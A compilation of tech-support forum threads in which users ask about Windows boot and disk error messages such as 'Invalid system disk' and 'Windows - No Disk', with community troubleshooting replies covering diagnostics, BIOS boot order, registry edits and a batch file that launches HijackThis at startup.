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Error Message "Invalid System Disk"

Q: Error Message "Invalid System Disk"

After formatting I keep getting error message "Invalid system disk
Replace the disk, and then press any key"

I use this drive for an old PC that was running Xubuntu but now want to reinstall Win 7 after I went complete Linux on my main machine. I know it works. Every article online says the drive is either dead, infected, or whatever. I'm also booting from a flash drive, another thing I read is it's trying to boot from CD instead of USB and change boot order to fix, obviously that's what I'm already doing.

It's formatted fat32 with MBR. Any ideas what to do?

Thank you.

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I have a PC with windows 98, and the other day I think I got a virus. I'm not sure what caused it, but whenever I try to boot up it gives me a "Invalid System Disk" warning. It won't read anything off the A drive, the only disk of any kind I've gotten to work was the Norton 2003 one, and all it does is run and not find any problems. When I was looking for what to do I came across a forum on here, but it was two years old, so I signed up and posted a new one. Here's the old one, I've tried what they've suggested with

It looks like she solved her problem with the floppy disk, and my machine won't read it for whatever reason. I tried thier solution, it couldn't read it.

Here's a quick list of the symptoms:
-Invalid System Disk message when I boot up.
-It says drive C has 15 files, all the names are in dos characters and exclaimation points.
-It calls my CD drive A: when it used to be D:, and my floppy drive B: when it used to be A:
-It wont read floppys
-It wont read my Win98 backup CD, but will read the Norton CD

From what I've read this looks like and "AntiCMOS" virus, but the solutions everyone has given have either not worked or required something I dont have. If you've read this far, thanks at least for your time, even if you can't help me. It's pretty important that I get this computer fixed up pretty soon, and if I... Read more

A:Virus with "Invalid System Disk" Error.

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When I boot up the computer, the bios goes through the memory check and displays the box with all the correct drives, but before starting DOS, it says "Invalid System Disk. Please replace disk, then press any key". The bizarre thing is that there are no floppys or cd roms in any of the drives. I am under the impression that the hard drive is functionning properly because i just did a re-format of it yesterday. Can anybody help me? Thank you!

A:A bizarre error: "Invalid System Disk"

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A friend has an old Pentium 1 HP Vectra 500 PC. On startup it says "Invalid system disk" like if you had a disk in the floppy drive. There is no disk in the CD or A drive. I took the A drive and CD out of the boot sequence via the bios and it made no difference. Is it the hard drive?

A:"Invalid system disk" error w/no disk in drive

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Ok, I built a PC a month ago and everything seemed find no problems of any sort. The other night I defragmented my hard drive and shut it down and turned it on today to a memory test and the message "Disk Boot Failure, Insert system Disk and press enter"

The computer has access to the XP pro w/ sp2 disk only as a boot device but it will not recognize it now.

I have set Cd-rom as 1st for boot sequence then hard drive I have no floppy drive and the bios has been configured to know that.

I am not sure if this means anything but in the bios the IDE Channel 0 Master says none and when I try to turn on auto detection it wont detect a hard drive.

The HDD is fully connected and has not been touched since I installed it a month ago.

I have this awful feeling that I fried the HDD when I defragmented it last night.

Any help would be very much appreciated. But please be simple this is my first build and my knowledge at this sort of thing is very very sketchy at best.

A:Error message "Disk Boot Failure, Insert system Disk and press enter" on first build

The first thing to do would be to get a new data cable for the herd drive and see if that fixes it, they are nice and cheap nowadays.

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I recently purchased a 2nd hand computer thru a local ebay dealer - HP DX6120 ST 2.6 GHZ 80GB HDD 512MB RAM DESKTOP PC.

When i boot up, it displays: Invalid system disk Replace the disk, and then press any key

Then i reboot and press F8 & del and it doesnt go to bios settings, it just gives me a screen that gives me an option to "boot from..."

I select the hard drive.
Get the same response... "Invalid system disk Replace the disk, and then press any key"
Then I put in a windows XP pro Disk (the computer has an official XP Pro License Key on the case, as stated on the specs on selling page) and then rebooted.
I still get the "Invalid system disk Replace the disk, and then press any key"
I change the boot to CD and i get Windows Set Up options.
I pick install Windows XP and the it starts loading dll's etc.
Then it says i have no previous version of Windows idetected and wont let me go any further.

I assume that it is trying to upgrade, but i dont get an option to do a fresh install, just "Install Windows XP"

I am not sure if ;
there is a windows actually loaded,
I need to reformat,
The bios battery is flat
or if i need to do something completely diferent.

If i am to reformat, i cant remember the cmds/or how to do that when there is no windows to do it from.

I hoe you can help me.


Old Fart

A:"Invalid system disk Replace the disk, and then press any key"

Find the make of the hdd, go to makers website and download and run
the diagnostic utility.
If you want to wipe the drive do a google for killdisk, its free. Run it
this way you are assured of a clean drive.
The diganostic utility may also be able to write zeros to the drive, doing
the same thing. At this point dont take the short route out and format
with windows, leaves to much garbage behind. But after the drive is
wiped you will have to format with the wind disk and install the os.
Sounds like you have a bad drive, or a confused drive..
I dont think that board does raid, but you should double check in bios.
If raid is enabled disable it..

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Hello All,
A friend of mine gave me a few computers- because his office was upgrading all of their systems-
I reformatted many of them and installed windows me (they are too slow to support xp), but I am having a problem with one.
Originally it had windows 2000 pro as the os( I didn't have the password to log-into the computer) So I ran fdisk, formatted the hard drive, then tried to install the new os but I keep getting the error message upon booting that "invalid system disk, remove then press any key to continue".
I thought the cd-rom was bad so I replaced it, I changed the boot sequence, used a floppy to boot, even got the hard drive manufacturer's utility program to prep the drive for the os but even that doesn't work.
Am I missing something?
Does the fact that I didn't have the password to enter the computer have anything to do with this?
I used this same method for installing me on all the other systems and they are fine, but this one is an issue.
Thanks in advance for any suggestions.

A:OS Installation: "invalid system disk, remove then press any key to continue"

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Hey guys, i know a little about computer but not to much.... i have a dell inspiron 1100 laptop, the hard drive went in it, so i ordered a new hard drive, when it came in a installed it...i went to load XP from the XP cds i got with the computer from dell...all the computer tells me is "invalid system disk"..whats is going on with it...i have tried setting the BIOS to load from the CDROM..same message given..

A:XP wont load. "invalid system disk"

I assume your hard drive was formatted....

you will have to boot off your CD rom that has windows....

if it won't boot, your CD is bad OR
Dell has your previous HD serialized..... and the CD is trying to detect a hard drive that is not installed.

I never buy name brands if I can help it - just for this reason.

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i had a iso file of windows 7 ultimate.
i want to format my i thought of creating a bootable dvd.

but when i was selecting the iso file of windows 7 is giving an error message as "invalid iso file"

can any one help me how to fix this??

A:"invalid iso file" error message in windows 7usb/dvd tool


When are you getting this error message, have you tried to burn the ISO to a DVD?


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I can't open any new windows, open a Word Document, get to Firefox, Yahoo, Gmail, or even system restore, without the error message "Invalid Gadget Package" popping up. Can't get passed it either. Running Windows XP Pro with an AMD Athlon processor and using DSL on a custom built machine. I'm afraid to close my last remaining window for fear I won't be able to open one again. This started out with my desk top background going all white. I couldn't get my regular desk top back, so I did a system restore. Did this 3 times in 2 days, then the Invalid Gadget Package notice started popping up and is continuing to do so. I cannot open or use most of my features now without this same message. I did a complete scan (using Avast) of my hard drives with no indicators of an infection, but can't do a boot scan. Every time I try to schedule a boot scan I get the same error message ("Invalid Gadget Package"). I can't open the Control Panel either. Same thing. (I have been reaching System Restore by way of All Programs on the Start Menu, to no avail). Any help w/ this will be WELL appreciated!

A:"Invalid Gadget Package" error message

Restart your computer in safe mode (tap F8 while the system's booting up) and uninstall Google Desktop.

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When trying to print a calendar from Outlook 2003 (using Windows XP), I get the error message "Could not complete the operation. One or more parameter values invalid."

My first post and am a newbie so please forgive any errors in protocol.

A:error message "parameter values invalid."

Welcome to the forum. It seems that you have a filter applied to the calendar or are looking for things that it is not finding. I would have you check the dates that you are trying to print out and the view as well.

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When i try to install xp sp2, I keep getting "the data is invalid. xp sp2 could not be installed" error message.
I have re-installed windows and tried installing sp2 from CD, and tried the downlooad from the microsoft website, both with the same result.
Can anybody make any suggestion on what i can try next.
Many thank's Brian.j
[email protected]

A:Installing xp sp2, I keep getting "the data is invalid" error message.

Brian.j said:

When i try to install xp sp2, I keep getting "the data is invalid. xp sp2 could not be installed error message".
I have re-installed windows and tried installing sp2 from CD, and tried the downlooad from the microsoft website, both with the same result.
Can anybody make any suggestion on what i can try next.
Many thank's Brian.j
[email protected]Click to expand...

Welcome to the forums

did you read the above? That looks like a good starting point...doc

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XP Pro SP2


Maxed out resource usage, Memory and CPU. Attempts to uninstall software results in the uninstall processes freezing indefinitely. Attemps to install software fail and return strange error messages. Examples:

When installing Java JRE:

Windows INstaller
"The Temp folder is on a drive that is full or is inaccessible. Free up space on the drive or verify that you have

write permission on the Temp folder."

Windows Defender:

Windows INstaller
"The Temp folder is on a drive that is full or is inaccessible. Free up space on the drive or verify that you have

write permission on the Temp folder."


Setup Selfextract
"An error 82 (00000052) has occured. Last performed operation was: extracting main exe"

Spybot Search and Destroy:

"setup was unable tocreate the directory "<path>" Error 82: The directory or file cannot be created"

I then tried running the online scanners suggest in the sticky for this forum topic, and they resulted inthe below error messages:

Online Scanners: (Errors occur after installing the ActiveX control)


"An error has occurred downloading Panda ActiveScan. Please repeat the process. If the error occurs again, restart

your system and try againPossible causes of this error are:

Not allowing the application's ActiveX control to be downloaded.

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A:HJT Failed to run. "Invalid Picture" Error message

Hello ford66 and welcome to RSF,

I'm not sure how much we can accomplish if you are unable to install programs or get HijackThis to run a scan.

This batch file will start HJT from the runonce key, so that is starts before lots of malware, let's see if we can get a scan.

Copy the bolded below into a new notepad document (not wordpad).
Click file> save as...> call it Hijackthis.bat > file types *all files*> and save it to desktop.

@echo off
echo REGEDIT4>Temp.reg
echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\RunOnceEx]>>Temp.reg
echo "Flags"=dword:00000008>>Temp.reg
echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\RunOnceEx\000]>>Temp.reg
echo "runonce"="\"\\!HJT.bat\"">>Temp.reg
[email protected] off>!HJT.BAT
Echo.echo Hijackthis will open before the windows desktop>>!HJT.BAT
echo.echo Scan and Fix only what your forum adviser suggested>>!HJT.BAT
echo pause>>!HJT.BAT
echo.start hijackthis.exe>>!HJT.BAT
echo.echo ONLY when finished with hijackthis close it and,..>>!HJT.BAT
echo pause>>!HJT.BAT
echo.del Temp.reg>>!HJT.BAT
regedit.exe /s Temp.reg
echo Please restart your PC now
Echo Just before the desktop loads Hijackthis will open,
echo Scan and Fix only what your forum adviser suggested

Run ... Read more

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Hello all. New member here. Having a difficult issue that is really driving me crazy. It started all of a sudden the other day ...



1) Unable to install any new programs. I receive the following error message: "The temp folder is on a drive that is full or is inaccessible. Free up space on the drive or verify that you have write permission on Temp folder."

2) Unable to download files from Mozilla Firefox IF I click a link directly. I get this error message: "C:\DOCUME~1\User\LOCALS~1\Temp\(filename I'm trying to download) could not be saved, because you cannot change the contents of that folder. Change the folder properties and try again or try saving in a different place".

However, if I download it by right-clicking and "save link as", the file WILL download.

3) I cannot access the Temp folder in C:\Documents and Settings\User\Local Settings. If I try to open this in window explorer (or ms-dos), the following error message pops up: "C:\Documents and Settings\User\Local Settings\Temp is not accessible. Access denied"

4) Ad-aware freezes on "quarentining selection".

I have full administrator access on this computer (laptop) and I am the only one with admin access. I share this computer with my girlfriend, who has Guest access, and I am concerned that her web surfing may have invited in a nasty virus.

AVG anti-virus and Spybot scans have turned up empty. I downloaded HiJackThis, hop... Read more

A:HJT won't run/install. "Invalid Picture" Error message

And just as a side question, what programs (assuming I can get this fixed!) do you recommend for general anti-virus/spyware/malware protection? I currently have AVG anti-virus, Ad-Aware, and Spybot. Thanks!

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when i try and burn an .ISO i got an error saying "invalid parameter." [0x00000004] and pretty much nothing happens after that.

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The fix on microsoft says just to uninstall zonealarm but zonezlarm has been uninstalled and I still have this problem. I eve went to the registry and deleted all zonealarm files. now what format? and reload??

please help!!!!

A:have you had this error ? "Invalid Vxd Dynamic Call From Vsdata95" Error Message

Even if you have removed ZoneAlarm, this message may keep appearing. You have to go into the registry and remove any occurrances of "vsdata". This can be done by going to Start, Run, and typing "regedit". When the registry editor opens up, go into the Edit menu and pick Search. Search for the string "vsdata" and delete all keys that have it in them. After you're done, you can reinstall ZoneAlarm if you want to. I have run across this multiple times and this always works.

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I am having some technical issues with installing Ninco Trackmap Plus (a slotcar program). Both Microsoft Windows XP and Vista gives me an error message (?The handle is invalid?) when I want to run the setup.exe file. On some PC?s it installs fine and on other it just would not work even though the PC's have the same specs. Does anyone know how to fix this issue?

A:Error message "the handle is invalid"

i would suggest first checking with the program vendors for any known issues on install the machines this has worked on is the key you say they are both the same but do they both have the same service packas installed antivirus programs malware detection software firewall setup ms updates usually 2 machines can be indentical in hardware spec but very rarely are they also identical in software or updates.

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I had a fresh install of 7 and everything was working fine.
All of a sudden it starts randomly freezing and programs start responding.
I got KERNAL_PAGING_ERROR BSODs etc. and got a new disk, thinking it was that.
After cloning the new disk which didn't work, and produced loads of errors on chkdsk, I decided to do a clean install of 7.

I still keep getting "Disk boot error, insert system disk and press enter", and when it does boot, it freezes all the time and every time I click the start button, it basically crashed and is messed up.

Tried new SATA cable and ports. Any ideas?

A:Windows 7 freezing, "Disk boot error, insert system disk and press enter"

BIOS settings or Motherboard issues?

Have you checked with the manufacturer website for the Motherboard that you have the Windows 7 drivers?

Is your Windows 7 DVD a retail copy...or the pre release BETA....or dodgy(in which case problems might lie there)

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just like the title says my HD crashed and i could not boot on the computer i put in a new HD and tried to boot it would not work. i would see the HP screen but then i would get the error. it is a 810a model and help would be extremely appreciated. and if you really know you can email me at <email removed>

A:Installed new HD now getting "disk boot error inset system disk & press enter"

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Following the forum guidelines I am posting a compressed file from your SF Diagnostic tool. This was done shortly after a BSOD.
Thanks for your support in helping me understand what is the cause of those frequent BSOD.

A:BSOD with "Invalid Attachment Process" and "IRQ..." error

Hi Joce & Welcome to the forums ^_^,

I have analyzed your dump files and below has been provided an analysis of the same for informative purposes :-

**************************Sun Aug 31 11:24:21.375 2014 (UTC + 5:30)***************************** WARNING: Unable to verify timestamp for SynTP.sys

*** ERROR: Module load completed but symbols could not be loaded for SynTP.sys

Probably caused by : SynTP.sys ( SynTP+3b9fb )

BugCheck 5, {ffffe0017069a900, ffffe001734f3580, 0, 1}



PROCESS_NAME: explorer.exe


MaxSpeed: 2130

CurrentSpeed: 2128

BIOS Version 1.20

BIOS Release Date 12/17/09

Manufacturer TOSHIBA

Product Name Satellite L550

**************************Sun Aug 31 11:05:21.993 2014 (UTC + 5:30)**************************
*** WARNING: Unable to verify timestamp for SynTP.sys

*** ERROR: Module load completed but symbols could not be loaded for SynTP.sys

Probably caused by : SynTP.sys ( SynTP+3b9fb )

BugCheck 5, {ffffe000c99146c0, ffffe000cdaf7900, 0, 1}



PROCESS_NAME: Integrator.exe

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I have been unsuccessful in trying to print from several programs, although nothing else suspicious has been noted. The following is what happened as I tried printing from various programs:

Opera 7.50 -- Print preview simply provides no response (sometimes shuts down). Straight print attempt = shutdown w/error msg ""has encountered a problem and needs to close"

Notepad -- "Handle is invalid."

IE 6.00 -- Print preview shows, but attempt to print leads to msg "There was an internal error."

MS Word 2003 -- Print preview shows, but attempt to print leads to msg "&#8230; cannot &#8230; problem with current setup"

I'm using XP Home. Any ideas?

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Recently, an error message "Windows detected a hard disk problem" always pop ups in my monitor.

I have done "Error Checking" also " Defragmentation"...but that error message doesn't disappear.

What should I do?

Thanks a Lot.

A:Error message " Widows detected a hard disk problem"

That is not a most welcome message.

I would immediately backup the most important personal data and run the DOS version of Manufacturer's Diagnostic Utility. If it passes without any event reported, fine. But if it finds bad sectors and even if it repairs it, be wary. Not to be taken aback by any catastrophic failure that may occur unannounced, always backup all your personal data and also image your system regularly.

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I've been having this problem for a few days now. Every time I start up I get this error message Windows - no disk Exception Processing Message c0000013 Parameters 75b6bf9c 4 75b6bf9. Also when I open up task manager the window looks funny i.e. all the tabs disappear and I cannot close it. This thing seems to be slowing down my system.

Please advise. Thanks!


A:Solved: "Windows - No Disk" error message [moved from XP; further malware help may be

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I just began getting this error yesterday. What is the likelihood that another issue besides a failing hard drive is causing error? Secondly, I've already purchased a new hard drive as a precaution. What is the fastest/easiest way to backup/clone this drive?

A:"Windows detected a hard disk problem" error message


Please open an elevated command prompt.
When you have the command promt open please enter the following command:
sfc /scannow and press enter.
After the scan is 100% and the scan did repair files please restart your computer.

Please re-open an elevated command prompt and enter the following command:
findstr /c:"[SR]" %windir%\logs\cbs\cbs.log >%userprofile%\Desktop\sfcdetails.txt

The cbs.log file will be posted on the Desktop as the current user, named sfcdetails.txt. Please attach this file in your next post.

Note: You can also copy/paste the commands to make it easier.

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When I go to the Winows XP Media Center I get the error message "There is no disk in the drive. Please insert a disk into drive \Device\Harddisk1\DR3.".

When I first set up Media Player about 8 months ago I got this error message and doing a search I was able to find a fix. Then I had a problem about a month ago and reformatted my hard drive and did the same thing and found a fix.

Well, just had to reformat again and now I can't remember where I found the fix. Can someone help me?

Thanks! Oh - and BTW can someone tell me how I can find where the programs that I recored are stored.


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My laptop is getting really slow and i cant use browser as it gets slower and hangs a lot. What do i do ?

A:windows error message says " your hard disk is at risk"

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I'm a computer lab assistant at Missouri State, and I always work on one of the two computers behind the desk. Both of the lab assistant computers have the same problem, but none of the others in the lab do.

I am on a computer running Windows XP Professional Version 2002 with SP3 installed. I only get the "no disk" Error Processing message when I start Firefox. Any suggestions?

(note: I have also attached a copy of this error message, if it will help)

A:"no disk" Error Processing Message upon starting Firefox

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Yesterday when I switch on my computer, it automatic diskcheck on my E disk. I have 3 HDD, which is C: (My main partition, installed Windows on this HDD), D: is for all my game files (Installed games) and E: is for all my music, movies, game installer, software etc.

So back to the point, when I switch on my computer, and get to the "Windows is Starting", and it stuck right there for about 5-10 minutes. Firstly, I have no patient so I restated the computer, and second or third time also have the same problem. So I choose to wait patiently, after 5-10 minutes, it have a black screen for about 1 to a few minutes, then it started the disk check on my E drive.

Once the process started ( I have total 234240 file record as shown on the disk check ) and continue to file record 800, it started to give me message stated "File record segment 800 is unreadable, File record segment 801 is unreadable" and so on, and sometimes it continue to go smoothly without the message, but not long or sooner it will appear again. Almost the whole process I get these message which worried me, and I wonder if my hard disk is failing badly and unable to recover.
It continues to finish the process and attempt to fix the bad sector. And after that it successfully log onto Windows, so I can use it normally again.

But I notice my E: HDD cannot access and the "My Computer" screen is loading very slow, and sometimes goes unrespond. One thing very weird is that after I few hours ... Read more

A:Hard disk is failing? Error message"File record segment is unreadable"

The "File record segment xxx is unreadable" error is an indication of failing hard drive. You should backup the data from this drive before it's too late.

Next, run some diagnostic testing on the failing hard drive; most HDD manufacturers have the diagnostic software available from their website. Software from Seagate will work with most brand.

If this drive would be mine, I'd just get a new one, the drive certainly will not get better...

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I recently burned a couple of CDS (filled with videos and mp3s) and MADE SURE that they worked properly and were burned correctly BEFORE I deleted the videos and mp3s from my computer. Well, I burned about 5 cds. I was checking over some of the CDs and 2 of the burned CDs dont want to work. I get the following error:

"Windows cannot read from this disk. The disk might be corrupted, or it could be using a format that is not compatible with Windows"
Why am I gettin this? Im POSITIVE that the disk was burned correctly but now all of a sudden Im gettin this error. I got Windows XP SP2, Gateway Computer.

A:Error Message: "Windows Cannot Read From This Disk."

Are they in perfect condition?

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First of all, i just want to let everyone know that i am not very good with computers so, please bare with me.

Here is my problem, my wife was trying to download pics from her memory card of her camera (sd card) to my computer so that she could burn the pics to a cd. My computer (Gateway GT5016H) has a slot to insert the memory card into the tower of the computer. She inserted the card, retrieved the pics and proceeded to burn them to a cd. When she was done, she shut down the computer.
Now evertime i start the compuer i get an error message pop up "windows-no disk" "there is no disk in drive. Please insert disk into drive." I also must click cancel multiple time to get rid of the error message. Gateway tech's could not help resolve the problem and told me to contact the manufacture of the sd card because they believe there is a compatability issue. I have windows XP if you need to know.

Can anyone help me.

A:Solved: Error message "windows-no disk" Please help me!

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Hi, I'm having some trouble in the GIMP, especially when opening or saving files. Going to the C: drive goes fine, but when I go to a following directory, I get the "No Disk" error message, telling me to insert a disk into "the" drive. Whichever that may be.

If that were all, it wouldn't have been a great deal. But whichever button I press in the error message, it just pops up again. And again, and again, and again... This is seriously bad for one's nerves. Of course, I tried to click very rapidly, and eventually it does stop, if you're lucky enough not to click once too many. Because chances are you click on the save or load dialog, then the message pops up, and you can start all over again! I tell you, it's only a matter of time before I have a mental breakdown.

I was actually uncertain as of in which forum to post, as I suspect this could be a Windows problem as well. You see, whenever I stick a USB stick into my computer, the drive letter assigned to it isn't the next one unused. Instead, it skips one. So perhaps my computer thinks there's one more drive - one without a disk in it - while there really isn't. That's just an idea though.

I'm using Windows XP SP2, GIMP 2.2.10 and GTK 2.8.9. Both are the latest version, and there is no mention of a "No Disk" message in GIMP's Bugzilla.

Any help would be greatly appreciated, of course!

A:Solved: "No Disk" error message in GIMP


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I receive daily a "Low Disk Space" error message which is incorrect and in my estimation fradulent. It goes on to give an alternative to rectify this situation by offering to "Speed up your computer and remove all viruses that are on your computer." Of course all of this is for a price. If you opt in and then change your mind before you totally commit they offer the same package for half price. I refuse to be "sucked in" by this fraudulent company.

I have gone to the internet to try and find out how I may get rid of this enemy. I have used Malwarebytes, Microsoft Security Essentials and Microsofts Security fix program all to no avail. I am at my 'wits end' trying to rid my computer of this plague. This is the url that the message comes through as. I cannot find out any source that will identify its origin:

I need help.


Doug. Bell

A:Fake "Low Disk Space" error message

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I get this error message whenever I try to run iTunes or load a music CD. I cannot get it to disappear, and end up having to reboot. I have run A-Spyware & A-V software, and have cleaned my register.

I saw a solution to this in forum threads, which referred to using "Hijack This". But the solution required someone else to look at my log file, and then suggest specific actions.

Can anyone help me through this please?

Many thanks.

A:Solved: Error Message "Windows - No Disk"

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HP probook 4510s windows 7 32bit
I did a "disk sanitizer" and the laptop isn't rebooting right or reading my operating system cd it says "NON-SySTEM ERROR OR DISK REPLACE AND STRIKE ANY KEY WHEN READY"
1) i removed all assceraries from the leptop
2) ran a diagnostic test all passed
3) here are some photos attachments
4) i think i deleted the partition and the OPS wind.7
Please thanks

A:HP 4510s windows7 "Non-system disk or disk error replace..."

What is a "Disk sanitizer." Sounds like a disk wiper, or some optimizing or registry cleaning crapware that ruined your Win7.

Try booting into the Win7 DVD or Repair CD to System Restore to before you ruined the OS as shown in Troubleshooting Windows 7 Failure to Start which also provides the DVD if needed.

If you can't get it started with any of the steps given there then get the superior Clean Reinstall without the HP crapware which is the worst in the industry and throttles Win7 from its native state.

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My mom has an HP Compaq nc8430 computer. She recently encountered this problem this morning. Does this mean that the hard drive's dead? Any help is appreciated greatly

A:"Non-system disk or disk error, replace and strike any key when ready"

DId ur BIOS detect ur HDD? Also check if ur sata cable is loosed or not. U can try another pair of sata cable & test it if it works or not..

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I need help with this Diskette issue please. "Diskette Drive 0 Seek Failure"
I've had this problem a few times in a couple of years and I have been able to fix the error by pressing F2 and going to the SETUP. And I've done this with no issues. But this time I thought I fixed it but now I get this new error: "A disk read error occurred Press Ctrl+Alt+Del to restart". After I press Ctrl+Alt+Del it takes me back to the same error massage "A disk read error occurred Press Ctrl+Alt+Del to restart". Need help please. This is a Dell Desktop, Windows XP.
Thank you.


A:"Diskette Drive 0 Seek Failure" Error Then "A disk read error occurred Press Ctrl..."

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I've tried frequently documented solution regarding FsDepends where
changing the start reg key from a value of 3 to 0.... doesn't work as this is a common symptom to a different problem.

When using partdisk or the disk management gui I get the error message: "A virtual disk support provider for the specified file was not found"
eg partdisk select vdisk file=c:\my.vdh
There are some statements that some Intel Management Control Software might be knobbing this feature... does anybody know what this installation is doing so that the process can be reversed?
Any other suggestions?

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I can not open my photoshop prom in Windows XP professional, it says No Disk and the exact error message is Parameters 75b6bfc 4 75b6b7c 75b6b7c ? Anyone know how to fix this ? Thank you

A:Windows "No Disk " error message

No need to Post twice, we heard you.
In Photoshop go to File\Preferences\Memory & Image Cache, and set the value of used by Photoshop to 50%. Restart Photoshop. Or if you have another drive, set the Scratch Disk to be on another drive.

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has anyone ever received this message??

"windows no disk"

how did you fix it??

A:"windows no disk" error message.

Hard drive error.,more than likely. Go to hdds makers website,
download the diagnostic utility and run it.

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For whatever reason I have been getting the message "Windows - No Disk" when I log on to my user name. This is really annoying and would like to stop it. If anyone has any suggestion's for solving this problem it would be greatly appreciated!
I have run "hijackthis" and posted the log for review.

Logfile of HijackThis v1.99.1
Scan saved at 8:11:43 AM, on 3/26/2006
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)

Running processes:
D:\Program Files\Adobe\Photoshop Elements 3.0\PhotoshopElementsFileAgent.exe
C:\Program Files\Common Files\Microsoft Shared\VS7DEBUG\MDM.EXE
D:\Program Files\Adobe\Photoshop Elements 3.0\PhotoshopElementsDeviceConnect.exe
D:\Program Files\Alcohol Soft\Alcohol 120\StarWind\StarWindService.exe
C:\P... Read more

A:"Windows - No Disk" error message

has to do with hp media zone

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My computer persistantly displays this error message saying "Windows - No Disk: There is no disk in the drive. Please insert a disk into drive." When I look at the My Computer screen It shows my floppy drive, my C drive, the unknown Removable Disk Drive (D:), CD drives E and F, my other internal drive (G:), my external (H:), the second partition on my internal drive (I:), a DVD drive (J:), and then finally the second unknown Removable Disk Drive (K:). I have no idea what these Removable disk drives are or how they got here but I think they are causing the problem. Windows thinks there is a disk mounted but there isnt. If it helps the applications I was using at the time of when the incident first began was Azureus, my DVD drive, Divx Player, iTunes, and maybe some more random stuff. This error message pops up whenever I open multiple programs such as iTunes and Azureus. I could REALLY use some help with this as it is starting to become very annoying!

A:Keep getting error message saying "There is no disk in the drive"

right click on my computer then manage. click on disk management and see what it specifies K:\ as. you can right click and goto properties to get a list of drives attached and maybe it'll give you more specs on this removable drive.

is is possible you installed some software from a removable disk (like a usb key) and the software you are running is looking for the source media? it's possible this new drive has nothing to do with the windows error

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I can not open my photoshop program in Windows XP professional, it says No Disk and the exact error message is Parameters 75b6bfc 4 75b6b7c 75b6b7c ? Anyone know how to fix this ? Thank you

A:Windows "No Disk " error message

Hi do you have any p2p software on the machine,what av do you have

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im not completely sure if this has to do with windows but i keep having an error message pop up randomly and i have no idea what it is talking about it says:

"Exception Processing Message 0xc0000013 Parameters 0x75EF92A0 0x00000004 0x75EF92A0 0x75EF92A0"

and it only lets me cancel, try again, or continue, but whatever i do it usually pops up a few more times. can some1 please tell me what the hell it means or just how to fix it?

A:"Windows- No Disk" error message???

hi and welcome maybe this will be useful a lot of options

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Hi all,

Sorry to repeat a question I see a lot of instances of, but none of those seem to be addressing my problem correctly.

I have not done anything new to my computer in recent days, so this problem has caught me off guard (I see most instances of this problem come after upgrading to Windows 7, I have had Win 7 installed for a while now).

Here is a summary of my problem:
1) My computer recently got stuck on the "Starting Windows Screen." So I manually held the power button to reboot.
2) On reboot, it said there was a need to run a startup repair, which I did. Everything checked fine, except for the last one which said "System Volume on Disk is Corrupted," which it claimed to have successfully fixed.
3) After rebooting from repair, the system gets stuck on "Starting Windows Screen" for a good 10-15 minutes, after which it runs a registry check. After it completes that I get hopeful -- but the screen then gets stuck on an all black screen with just the mouse cursor and nothing more.
4) Additional note: Attempting to start the computer on "safe mode" leads safe mode startup to become stalled on "DRIVERS\CLASSPNP.SYS"
5) The lastest attempt to repair yielded this message: "Startup repair cannot repair this computer automatically.
Problem event Name: Startup Repair Offline
Problem signature 01: 6.1.7600.16385
02: 6.1.7600.16385
03: uknown
04: 21201099
05" AutoFailover
06: 2
07: Corrupt Volume
OS Version: 6.1.7600.... Read more

A:Stuck on "Starting Windows", Repair Shows "System Volume on Disk is Corrupted"

Hi Stan, Hopefully I can help you out....or at least lead you in the right direction. From my experience, the symptoms you are suggesting sound like perhaps a dying Hard drive.

1. Do you have the windows 7 boot disks that came with your computer or when you bought the Operating System? If so, you could try and insert one of those and boot from it, and attempt to repair the installation. (this won't affect your data, only the windows system files).

2. If that doesn't fix it, you could try a fresh reinstall of windows 7, and see if that works.

3. If neither of those work, its likely that because of the fact that when windows is repairing itself, it is generally putting copies of its system files in the same physical location on your disk. Because your disk is obviously not completely dead, ie....its still loading to the windows 7 startup screen, its just copying files to the bad sectors on your hard drive and gets stuck when loading. This is especially my guess because you said Safe mode is having same problems, even after attempting to repair. In the past, I've tried and salvage a disk by reformatting it and only leaving on partitions which do not contain the bad clusters. This takes some time, and some guess work.....and really this is only a "bandaid" fix because once the disk has bad clusters, its only a matter of time before these things give out. You wouldn't want to trust your important data on it anyways....

I hope this leads you in ... Read more

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i tried to install office 2000 on my computer which runs with windows95, and i think i inadvertantly erased something important when i was trying to make room. now whenever i turn my computer on, i get this message: "invalid system disk. replace disk and press any key to continue" or something along that line. it won't go any farther than that. the problem is that i don't have the disk i installed windows95 with. what can i do.

A:invalid system disk error message -- arrrggghhh!

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I was using my computer and it rebooted (I didn't reboot it) and when it came back on, I got this message:

"Invalid system disk, replace the disk and then press any key."

I have a lot of data on the disk and do not want to lose it. It is a SATA hard drive 500 GB and I am using Windows 7 Ultimate as my operating system. One other thing, prior to my system crashing, Windows 7 had been doing an update in the background as I was working on a Word file and printing on some DVD's with my printer.

any help or advice would be appreciated.

A:Invalid system disk error message using Windows 7 Ultimate

Make sure you don't have any external drives plugged in and make sure you're booting from the correct drive if there's more than one installed.

Put the drive into another machine and do a backup of your files. You should have everything backed up on a regular basis, when things like this happen you'll wish you had one.

After you're all backed up, try running check disk on the drive using the Windows recovery console.

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Let me start off my saying I've installed this exact copy of windows 7 before on this computer with no problems and it worked for years. I'm trying to install Windows 7 ultimate 64 bit version when I run into this message "Setup was unable to create a new system partition or locate an existing partition." So I search and find a solution in these forums (Setup was unable to create a new system partition) I do that but I get stuck on "format fs=ntsf". I'm getting a message error saying "The arguments specified for this command are not valid." What do I do? I googled but found several different answers and didn't fully understand some if them. Any help would be appreciated.

A:Error message of "Setup was unable to create a new system partition"

Your syntax is off:

Commands are

SELECT DISK 0 (after confirming Windows 7 target HD #)

If this isn't enough start at the top of Overcoming Windows 7 Installation Failures - Windows 7 Help Forums

If those steps fail then test your hard drive with the maker's HD Diagnostic extended CD scan, followed by Disk Check done from the installer Command Line on a full disk partition your create.

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After trying to upgrade to Windows 10 from 8.1 on my Inspiron 7000, my Windows install would freeze during the start up process - the Dell logo would appear and the loading icon would stop. I had Linux installed on a separate partition so I went into the BIOS and moved Ubuntu ahead of Windows - this was the mistake. After exiting, I get the error message "Operation System not found". When I start up, I see the options F2 Setup and F12 Boot Options, however I cannot access either - the text will become bolded to show that I have selected it but I always get brought to the same screen which says "Operation System not found".
Any ideas on how to proceed? I don't mind losing the files and folders on the device, I just want to be able to use the laptop again.


A:"Operation System not found" error message on Inspiron 7000

